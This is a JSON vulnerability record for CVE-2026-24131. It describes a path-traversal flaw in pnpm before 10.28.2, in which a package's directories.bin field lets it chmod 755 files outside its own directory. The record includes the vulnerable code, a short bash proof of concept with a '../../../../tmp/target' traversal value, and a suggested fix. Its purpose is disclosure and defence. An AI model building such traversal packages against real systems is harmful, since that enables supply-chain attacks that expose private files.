{"id":"CVE-2026-24131","aliases":["CVE-2026-24131","GHSA-v253-rj99-jwpq"],"related":[],"kind":"vulnerability","state":"published","title":"pnpm has Path Traversal via arbitrary file permission modification","summary":"pnpm is a package manager. Prior to version 10.28.2, when pnpm processes a package's `directories.bin` field, it uses `path.join()` without validating the result stays within the package root. A malicious npm package can specify `\"directories\": {\"bin\": \"../../../../tmp\"}` to escape the package directory, causing pnpm to chmod 755 files at arbitrary locations. This issue only affects Unix/Linux/macOS. Windows is not affected (`fixBin` gated by `EXECUTABLE_SHEBANG_SUPPORTED`). Version 10.28.2 contains a patch.","summarySource":"cvelist","descriptions":[{"lang":"en","text":"pnpm is a package manager. Prior to version 10.28.2, when pnpm processes a package's `directories.bin` field, it uses `path.join()` without validating the result stays within the package root. A malicious npm package can specify `\"directories\": {\"bin\": \"../../../../tmp\"}` to escape the package directory, causing pnpm to chmod 755 files at arbitrary locations. This issue only affects Unix/Linux/macOS. Windows is not affected (`fixBin` gated by `EXECUTABLE_SHEBANG_SUPPORTED`). Version 10.28.2 contains a patch.","source":"cvelist"},{"lang":"en","text":"### Summary\nWhen pnpm processes a package's `directories.bin` field, it uses `path.join()` without validating the result stays within the package root. A malicious npm package can specify `\"directories\": {\"bin\": \"../../../../tmp\"}` to escape the package directory, causing pnpm to chmod 755 files at arbitrary locations.\n\n**Note:** Only affects Unix/Linux/macOS. Windows is not affected (`fixBin` gated by `EXECUTABLE_SHEBANG_SUPPORTED`).\n\n### Details\nVulnerable code in `pkg-manager/package-bins/src/index.ts:15-21`:\n\n```typescript\nif (manifest.directories?.bin) {\n  const binDir = path.join(pkgPath, manifest.directories.bin)  // NO VALIDATION\n  const files = await findFiles(binDir)\n  // ... files outside package returned, then chmod 755'd\n}\n```\n\nThe `bin` field IS protected with `isSubdir()` at line 53, but `directories.bin` lacks this check.\n\n### PoC\n```bash\n# Create malicious package\nmkdir /tmp/malicious-pkg\necho '{\"name\":\"malicious\",\"version\":\"1.0.0\",\"directories\":{\"bin\":\"../../../../tmp/target\"}}' > /tmp/malicious-pkg/package.json\n\n# Create sensitive file\nmkdir -p /tmp/target\necho \"secret\" > /tmp/target/secret.sh\nchmod 600 /tmp/target/secret.sh  # Private\n\n# Install\npnpm add file:/tmp/malicious-pkg\n\n# Check permissions\nls -la /tmp/target/secret.sh  # Now 755 (world-readable)\n```\n\n### Impact\n- Supply-chain attack via npm packages\n- File permissions changed from 600 to 755 (world-readable)\n- Affects non-dotfiles in predictable paths (dotfiles excluded by tinyglobby default)\n\n### Suggested Fix\nAdd `isSubdir` validation for `directories.bin` paths in `pkg-manager/package-bins/src/index.ts`, matching the existing validation in `commandsFromBin()`:\n\n```typescript\nif (manifest.directories?.bin) {\n  const binDir = path.join(pkgPath, manifest.directories.bin)\n  if (!isSubdir(pkgPath, binDir)) {\n    return []  // Reject paths outside package\n  }\n  // ...\n}\n```","format":"markdown","source":"ghsa"},{"lang":"es","text":"pnpm es un gestor de paquetes. Antes de la versión 10.28.2, cuando pnpm procesa el campo 'directories.bin' de un paquete, utiliza 'path.join()' sin validar que el resultado permanezca dentro de la raíz del paquete. Un paquete npm malicioso puede especificar \"directories\": {\"bin\": \"../../../../tmp\"} para escapar del directorio del paquete, haciendo que pnpm aplique chmod 755 a archivos en ubicaciones arbitrarias. Este problema solo afecta a Unix/Linux/macOS. Windows no se ve afectado ('fixBin' está restringido por 'EXECUTABLE_SHEBANG_SUPPORTED'). La versión 10.28.2 contiene un parche.","source":"nvd"}],"published":"2026-01-26T21:29:58.000Z","modified":"2026-06-17T10:22:40.880Z","severity":{"scorer":"GitHub_M","scheme":"CVSS:4.0","vector":"CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:A/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N","score":6.7,"rating":"MEDIUM"},"severities":[{"scorer":"GitHub_M","scheme":"CVSS:4.0","vector":"CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:A/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N","score":6.7,"rating":"MEDIUM"},{"scorer":"GitHub","scheme":"CVSS:4.0","vector":"CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:A/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N","rating":"MEDIUM"},{"scorer":"NVD","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N","score":5.5,"rating":"MEDIUM"}],"cwes":["CWE-22","CWE-732"],"affected":[{"ranges":[{"version":"< 10.28.2","status":"affected"}],"vendor":"pnpm","product":"pnpm","source":"cvelist"},{"ranges":[{"type":"semver","introduced":"0","status":"affected","fixed":"10.28.2"}],"ecosystem":"npm","package":"pnpm","purl":"pkg:npm/pnpm","source":"ghsa"},{"ranges":[{"status":"affected","fixed":"10.28.2"}],"vendor":"pnpm","product":"pnpm","cpe":"cpe:2.3:a:pnpm:pnpm:*:*:*:*:*:node.js:*:*","source":"nvd"}],"references":[{"url":"https://github.com/pnpm/pnpm/security/advisories/GHSA-v253-rj99-jwpq","tags":["exploit","vendor-advisory","web","x-refsource-confirm"],"sources":["cvelist","ghsa","nvd"]},{"url":"https://github.com/pnpm/pnpm/commit/17432ad5bbed5c2e77255ca6d56a1449bbcfd943","tags":["patch","web","x-refsource-misc"],"sources":["cvelist","ghsa","nvd"]},{"url":"https://github.com/pnpm/pnpm/releases/tag/v10.28.2","tags":["release-notes","web","x-refsource-misc"],"sources":["cvelist","ghsa","nvd"]},{"url":"https://github.com/pnpm/pnpm","tags":["package"],"sources":["ghsa"]}],"credits":[],"assigner":"GitHub_M","ssvc":{"scorer":"CISA-ADP","exploitation":"none","automatable":"no","technicalImpact":"partial","date":"2026-01-27T21:37:39.852Z"},"sources":[{"source":"cvelist","name":"CVE List","id":"CVE-2026-24131","url":"https://www.cve.org/CVERecord?id=CVE-2026-24131","licence":"CVE Terms of Use","modified":"2026-01-27T21:37:51.868Z"},{"source":"ghsa","name":"GitHub Advisory Database","id":"GHSA-v253-rj99-jwpq","url":"https://github.com/advisories/GHSA-v253-rj99-jwpq","licence":"CC-BY-4.0","modified":"2026-02-03T03:07:47.088Z"},{"source":"nvd","name":"NVD","id":"CVE-2026-24131","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-24131","licence":"Public domain","modified":"2026-06-17T10:22:40.880Z"}],"updatedAt":"2026-11-25T22:59:13.198Z","epss":{"score":0.00273,"percentile":0.21079,"date":"2026-12-01T12:00:22.000Z"}}